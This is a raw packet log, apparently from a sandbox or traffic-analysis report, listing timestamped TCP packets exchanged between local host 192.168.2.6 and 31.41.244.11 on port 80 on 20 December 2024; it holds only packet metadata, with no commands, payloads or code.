Dec 20, 2024 21:13:29.124373913 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.124373913 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.125024080 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.125099897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.125407934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.126177073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.126244068 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.126265049 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.126286030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.127392054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.127440929 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.127536058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.127636909 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.128519058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.128597021 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.128619909 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.128654957 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.129708052 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.129764080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.129793882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.129863977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.130817890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.130960941 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.261259079 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.261286974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.261351109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.261432886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.261692047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.261781931 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.262054920 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.263070107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.263135910 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.263169050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.263215065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.264092922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.264177084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.264273882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.264450073 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.265417099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.265501022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.265625954 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.266618967 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.266670942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.266714096 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.266736984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.267620087 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.267692089 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.268003941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.268475056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.268762112 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.268831968 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.268845081 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.268914938 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.270004034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.270061970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.270086050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.270152092 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.271131039 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.271197081 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.271226883 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.271334887 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.272419930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.272524118 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.272543907 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.272619009 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.273456097 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.273597002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.273704052 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.274676085 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.274740934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.274760008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.274991035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.275835991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.275953054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.275978088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.276076078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.276998997 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.277064085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.277090073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.277218103 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.278198957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.278286934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.278306961 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.278453112 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.279345989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.279469967 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.279524088 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.279524088 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.280567884 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.280678988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.280757904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.281757116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.281851053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.282175064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.282284021 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.282968044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.283049107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.283068895 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.283240080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.284142017 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.284219980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.284233093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.284300089 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.285214901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.285280943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.285312891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.285372972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.286413908 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.286544085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.286550045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.286679029 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.287599087 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.287686110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.287691116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.288180113 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.288798094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.288911104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.289448023 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.289448977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.289923906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.290040016 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.290199995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.290199995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.291142941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.291220903 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.291285992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.291338921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.292325020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.292412996 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.292542934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.292645931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.293535948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.293736935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.293801069 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.293801069 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.294645071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.294775963 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.294790983 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.294886112 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.295825958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.295969963 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.295975924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.296097994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.297007084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.297086954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.297142029 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.298182964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.298234940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.298288107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.298341036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.299386978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.299452066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.299489975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.299526930 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.300574064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.300611973 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.300698042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.301728964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.301811934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.301908016 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.301981926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.302872896 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.302979946 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.302995920 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.303092003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.304111004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.304205894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.304246902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.304246902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.305242062 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.305326939 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.305474997 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.306020021 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.306421995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.306518078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.306560993 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.306560993 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.307627916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.307714939 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.307882071 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.307882071 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.308799028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.308862925 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.309103012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.309943914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.310054064 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.310106039 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.310184956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.311122894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.311222076 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.311332941 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.312335014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.312417030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.312630892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.313519001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.313606024 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.313607931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.313673019 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.315390110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.315665007 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.315704107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.315804958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.315833092 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.315903902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.316037893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.316203117 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.317017078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.317110062 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.317116022 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.317207098 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.318208933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.318294048 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.318387985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.318497896 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.319382906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.319466114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.319472075 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.319531918 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.320554018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.320646048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.320766926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.324803114 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.324815035 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.324826002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.325134039 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.325134039 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.453713894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.453742981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.453816891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.453816891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.454170942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.454267979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.454307079 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.454418898 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.455359936 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.455430984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.455459118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.455477953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.456552982 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.456665993 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.456671000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.456788063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.457510948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.457530975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.457568884 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.457600117 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.458681107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.458777905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.458842993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.458920956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.459745884 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.459851980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.459857941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.459990025 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.461046934 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.461098909 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.461189032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.461239100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.462074995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.462127924 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.462157965 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.462264061 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.463234901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.463320017 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.463356018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.463471889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.464421034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.464473963 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.464518070 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.464572906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.465581894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.465666056 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.465718985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.466872931 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.466963053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.467086077 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.467130899 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.467963934 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.468054056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.468266010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.468316078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.469113111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.469259977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.469537973 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.469629049 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.470335007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.470434904 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.470623970 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.470762014 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.471558094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.471582890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.471699953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.471699953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.472659111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.472764969 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.472781897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.472914934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.473889112 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.473964930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.473993063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.474069118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.475007057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.475068092 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.475106955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.475164890 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.476216078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.476294994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.476304054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.476409912 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.477396965 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.477462053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.477498055 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.477551937 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.478560925 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.478632927 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.478665113 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.478732109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.479790926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.479866982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.479880095 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.479965925 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.480901957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.480988979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.480995893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.481070042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.482093096 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.482152939 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.482184887 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.482243061 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.483253002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.483318090 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.483388901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.483474970 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.484560966 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.484622002 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.484679937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.484757900 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.485651970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.485790968 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.485918045 CET	80	49887	31.41.244.11	192.168.2.6
